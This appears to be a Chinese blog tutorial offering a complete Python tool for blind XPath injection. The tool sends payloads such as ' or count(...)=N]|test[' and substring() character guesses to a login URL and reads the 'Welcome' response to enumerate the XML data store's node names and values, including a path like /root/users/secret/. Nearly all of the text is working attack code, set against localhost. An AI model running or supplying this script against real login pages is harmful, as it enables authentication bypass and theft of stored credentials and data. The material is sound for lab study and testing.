0x00 前言

思路:

1、发送payload请求后,根据服务器返回结果判断是否成功

2、利用payload探测传入的路径下的节点数,有节点:循环枚举节点名,无节点:枚举节点值

0x01 代码步骤

1、猜解当前节点下的节点数量:

#payload:' or count(节点名*)=猜解的数量]|test['

url = "http://127.0.0.1/index.php?username=admin&password=admin"
for num in range(1,99):
    payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
    payload = url + payload_count
    req = requests.get(payload).text
    if "<h1>Welcome</h1>" in req:
        return num
#没有枚举出节点数
num = 0
return num

2、按照字符串截取去猜解节点的名称:

#payload:' or substring(name(/节点名称*[position()=第n个节点]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
tmp_root = root
for num in range(1,99):
    flag = 0
    for value in range(33,127):
        payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
        payload_value = quote(payload_value)
        payload = url + payload_value
        req = requests.get(payload).text
        if "<h1>Welcome</h1>" in req:
            #枚举成功
            tmp_root = tmp_root + chr(value)
            num += 1
            flag = 1
            break
    if flag == 0:
        #枚举完成
        tmp_root = str(tmp_root) + "/"
        print(tmp_root)
        break

3、猜解节点的值:

#payload:' or substring((节点名[节点数]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
for root_num in range(1,99):
    if root[-1] == "/":
        now_root = root[:-1]

    for num in range(1,99):
        flag = 0
        for value in range(33,127):
            payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
            payload_value = quote(payload_value)
            payload = url + payload_value
            req = requests.get(payload).text
            if "<h1>Welcome</h1>" in req:
                #枚举成功,输出当前字符
                print(chr(value) , end = '')
                flag = 1
                break
        if flag == 0:
                return 0

0x02 完整代码

import requests
from urllib.parse import quote
import sys
import getopt

opts,args = getopt.getopt(sys.argv[1:],"hu:p:")

url = ""
root = "/"

#获取节点数
def burst_count():
    for num in range(1,99):
        payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
        payload = url + payload_count
        req = requests.get(payload).text
        if "<h1>Welcome</h1>" in req:
            return num

    #没有枚举出节点数
    num = 0
    return num

#枚举节点名
def burst_name(i):
    tmp_root = root
    for num in range(1,99):
        flag = 0
        for value in range(33,127):
            payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
            payload_value = quote(payload_value)
            payload = url + payload_value
            req = requests.get(payload).text
            if "<h1>Welcome</h1>" in req:
                #枚举成功
                tmp_root = tmp_root + chr(value)
                num += 1
                flag = 1
                break
        if flag == 0:
            #枚举完成
            tmp_root = str(tmp_root) + "/"
            print(tmp_root)
            break

#枚举节点值
def burst_value():
    flag_root = root
    for root_num in range(1,99):
        if root[-1] == "/":
            tmp_root = root
            now_root = root[:-1]

        for num in range(1,99):
            flag = 0
            for value in range(33,127):
                payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
                payload_value = quote(payload_value)
                payload = url + payload_value
                req = requests.get(payload).text
                if "<h1>Welcome</h1>" in req:
                    print(chr(value) , end = '')
                    #tmp_root = tmp_root + chr(value)
                    flag = 1
                    break
            if flag == 0:
                    return 0

def help():
    print("python xpathburst.py -u \"http://127.0.0.1/index.php?username=admin&password=admin\" -p \"/\"")
    return 0


if __name__ == "__main__":
    for key, value in opts:
        if key == "-u":
            url = value  # "http://127.0.0.1/xpath/index.php?username=admin&password=a123"
        elif key == "-p":
            root = value  # "/root/users/secret/"
        else:
            help()
            exit(0)

    # 初始化节点名称和节点数量
    if root[-1] != "/":
        root = root + "/"
    count = 0

    #获取根节点数
    count = burst_count()

    if count != 0:
        print("%s路径有%d个节点" % (root, count))
        for i in range(1, count + 1):
            burst_name(i)
    else:
        #当前路径下无节点,尝试枚举值
        print("当前路径下无节点,尝试枚举值")
        print("%s:%s" % (root, root.split('/')[-1]) ,end = "")
        burst_value()

0x03 运行结果

1.gif